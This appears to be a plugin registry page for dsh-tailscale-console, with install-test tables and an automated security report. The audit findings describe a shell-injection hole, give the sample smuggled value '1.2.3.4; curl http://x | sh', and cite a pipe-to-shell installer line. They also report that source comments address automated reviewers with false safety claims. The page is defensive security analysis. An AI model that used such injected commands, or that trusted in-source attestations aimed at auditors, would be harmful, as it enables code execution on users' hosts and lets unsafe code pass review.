Install verification: sandbox install ok, web smoke failed (L5) · tested on dsh 0.2.2-rc.3 · last checked Install verification details →
Data as of (UTC)
What it doesAI
Tailscale remote-access control panel for DeepSeek Harness: health checks, HTTPS serve toggle, proxy bypass, relay ops, ACL helper.
- One-click health checks
- HTTPS serve toggle and macOS proxy bypass
- Relay server ops with ACL generation
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add dsh-tailscale-consoleInstall method: npm · sandbox install ok, web smoke failed (L5)
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
7 samples (roughly every 7 days), 3 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-21 → 11-03 · 7 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
10-05 → 11-03 · 5 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
08-19 → 11-15 · 76 points
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
08-19 → 11-16 · 77 points
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
Based on 1 requirement(s) across 1 @deepseek-ai/dsh-* packages. raw ranges
>=0.1.7-rc.1 ×1
✓ Running dsh 0.2.2-rc.3 is within the declared range — install is not blocked by version.
Deciding channel: no engines.dsh declared, so every dsh* peer is checked (workspace:^ | ~ | * counts as the running version).
Whether it actually runs is a separate question → see the measured matrix below (L1–L5).
| plugin \ dsh | dsh 0.2.2-rc.3 current | dsh 0.2.2-rc.1 | dsh 0.2.1-rc.5 | dsh 0.2.1-rc.3 | dsh 0.2.1-rc.2 |
|---|---|---|---|---|---|
| 0.4.8 | ✗ | ✗ | ✗ | ✗ | ✗ |
| 0.4.7 | · | · | · | · | · |
| 0.4.5 | · | · | · | · | · |
| 0.3.0 | · | · | · | · | · |
| 0.2.3 | · | · | · | · | · |
0.4.8npm10 failed2026-11-16
dsh-tailscale-console
✗dsh 0.2.2-rc.3current2026-11-16L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.3
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.2-rc.3 · profile: l4-sandbox
Issued: 2026-11-16 · expires: 2026-11-23
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.2-rc.12026-11-04L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.1
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.2-rc.1 · profile: l4-sandbox
Issued: 2026-11-04 · expires: 2026-11-11
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.52026-10-31L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.5
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.1-rc.5 · profile: l4-sandbox
Issued: 2026-10-31 · expires: 2026-11-07
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.32026-10-26L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.1-rc.3 · profile: l4-sandbox
Issued: 2026-10-26 · expires: 2026-11-02
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.22026-10-18L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-18 · expires: 2026-10-25
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.42026-10-16L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.1-alpha.4 · profile: l5-web-smoke
Issued: 2026-10-16 · expires: 2027-01-14
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.22026-10-10L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-10 · expires: 2026-10-17
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.22026-10-08L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-08 · expires: 2026-10-15
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.12026-09-29L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dsh0.2.0-rc.1 · profile: l4-sandbox
Issued: 2026-09-29 · expires: 2026-10-06
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗prehistory2026-10-05L5 · failed
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: npm · dsh-tailscale-console@0.4.8
ID: dsh-tailscale-console@0.4.8@dshunknown · profile: l4-sandbox
Issued: 2026-10-05 · expires: 2026-10-12
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.4.7npm5 failed2026-09-26
dsh-tailscale-console
✗dsh 0.1.7-rc.22026-09-26L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.7
ID: dsh-tailscale-console@0.4.7@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-26 · expires: 2026-10-03
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.7-rc.12026-09-23L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: npm · dsh-tailscale-console@0.4.7
ID: dsh-tailscale-console@0.4.7@dsh0.1.7-rc.1 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.7-alpha.22026-09-23L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.7
ID: dsh-tailscale-console@0.4.7@dsh0.1.7-alpha.2 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.6-alpha.22026-09-20L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.7
ID: dsh-tailscale-console@0.4.7@dsh0.1.6-alpha.2 · profile: l3-fullscan
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.6-alpha.12026-09-17L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: npm · dsh-tailscale-console@0.4.7
ID: dsh-tailscale-console@0.4.7@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.4.5npm1 failed2026-09-11
dsh-tailscale-console
✗dsh 0.1.5-rc.22026-09-11L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: npm · dsh-tailscale-console@0.4.5
ID: dsh-tailscale-console@0.4.5@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.3.0npm1 failed2026-09-08
dsh-tailscale-console
✗dsh 0.1.3-alpha.22026-09-08L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: npm · dsh-tailscale-console@0.3.0
ID: dsh-tailscale-console@0.3.0@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.2.3npm2 failed2026-09-08
dsh-tailscale-console
✗dsh 0.1.3-alpha.12026-09-06L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: npm · dsh-tailscale-console@0.2.3
ID: dsh-tailscale-console@0.2.3@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-06 · expires: 2026-09-13
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.2-rc.12026-09-05L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • Plugin artifact: npm · dsh-tailscale-console@0.2.3
ID: dsh-tailscale-console@0.2.3@dsh0.1.2-rc.1 · profile: l3-fullscan
Issued: 2026-09-05 · expires: 2026-09-12
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-tailscale-console/?ref=badge)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic high (authoritative when present) → overall high.
v0.4.8dsh manifest0.4.8npm2026-11-170.4.8same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (7)
- criticalpipeShell · shell
lib/index.js:294" curl -fsSL https://tailscale.com/install.sh | sh >/tmp/ts-install.log 2>&1", - warningnetIp · network
lib/client.js:78const localUrl = "http://127.0.0.1:" + dshPort - warningnetIp · network
lib/index.js:332return { running: text.includes(`proxy http://127.0.0.1:${cfg.dshPort}`), url: m ? m[0] : null, output: text } - warningnetIp · network
lib/index.js:345running = statusText.includes(`proxy http://127.0.0.1:${cfg.dshPort}`) - warningnetIp · network
lib/index.js:386ok: serve.stdout.includes(`proxy http://127.0.0.1:${cfg.dshPort}`), - warningcurlDownload · network
lib/index.js:394const page = await run(`curl -s -o /dev/null -w '%{http_code}' --noproxy '*' --max-time 6 ${base}/`, 15000) - warningcurlDownload · network
lib/index.js:404`curl -s -o /dev/null -w '%{http_code}' --noproxy '*' --max-time 8 -X POST ${base}/api/session.list -H 'content-type: application/json' -d '
show 5 audit findings
- highverify handler interpolates client-supplied `target` into a shell command run under danger-full-access
lib/index.js:320`target` comes straight from the POST body parsed at line ~470. `verify` is NOT in the MUTATING set (line 456: new Set(["serveSet", "proxyApply", "serverInstall", "serverRelay"])), so no loopback/Tailscale-identity requirement applies — passing the host fence (loopback, or a trusted host such as the tailnet HTTPS URL the panel itself tells users to configure with --trusted-host) is enough. Shell metacharacters such as `1.2.3.4; curl http://x | sh` are executed by the user's shell with the danger-full-access policy, i.e. arbitrary code execution as the dsh user from any tailnet device / any cli
- mediumLogin gate trusts a client-supplied Tailscale-User-Login header as identity proof
lib/index.js:190tokenUrlFor() (lines 188-195) treats the mere presence of the `tailscale-user-login` header as proof that the request transited tailscale serve, which is the only component that strips forged copies. Nothing verifies the actual origin path (e.g. req.socket.remoteAddress). Any client that can reach the DSH HTTP listener directly with a controlled Host — a dsh bound to a non-loopback address, or any other reverse proxy that forwards arbitrary headers — can send `Tailscale-User-Login: anyone` to /tsctl/pair or /tsctl/auto-login and receives a 303 to connection.authenticatedUrl(), a session-granti
- mediumAll plugin commands resolve a danger-full-access sandbox policy, disabling DSH containment
lib/index.js:111Every command executed through run() — including the injected `verify` target and the ssh install/relay scripts — is forced out of the default workspace-write sandbox. The plugin's only remaining control is the hard-coded command strings, which the previous finding already shows is not airtight; a single interpolation defect therefore becomes unrestricted host execution rather than a contained failure. The header comment acknowledges this trade-off but the audit-relevant consequence (sandbox no longer limits a shell-injection bug) is not mitigated elsewhere.
- lowAdvertised one-time pairing code is issued but never redeemed; session minting code is unreachable
lib/index.js:167`pairing.issue` is called by the pairingCode handler, but `pairing.redeem` is never invoked anywhere and the /tsctl/pair handler never reads the `c` query parameter — it decides purely on tokenUrlFor() (identity header or loopback). Likewise `mintSessionCookieFromRecord` is imported at line 20 but never used. The documented '10-minute, single-use, only the holder of the code can log in' control is therefore decorative: any request carrying the (spoofable) identity header is auto-logged-in, and operators may believe a stronger gate exists than actually does. The unused HMAC cookie-minting imple
- lowSource comments pre-assert safety properties addressed to the auditor that the code does not hold
lib/index.js:6The file header addresses the reviewer ('must read before review') and asserts that the client can never supply arbitrary commands and that risk is bounded by a command whitelist. This claim is false for the `verify` handler, which interpolates a request-provided value into the shell command. Auditors or automated reviewers that accept such in-source attestations would wrongly clear this plugin; it is reported here as an in-source influence attempt rather than obeyed.
dsh-tailscale-console passes a client-supplied verify target into a shell command run under danger-full-access, allowing command execution from any trusted host.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-09-28 · activity: Stable
• Repo created: 2026-08-14
• Stars: ★ 1 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is dsh-tailscale-console?
dsh-tailscale-console is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install dsh-tailscale-console?
Run dsh plugin --profile web add dsh-tailscale-console in a DeepSeek Harness (dsh) environment. That exact command passed a real install inside an isolated sandbox (L4); the web smoke test (L5) has not passed yet.
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-11-17 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.
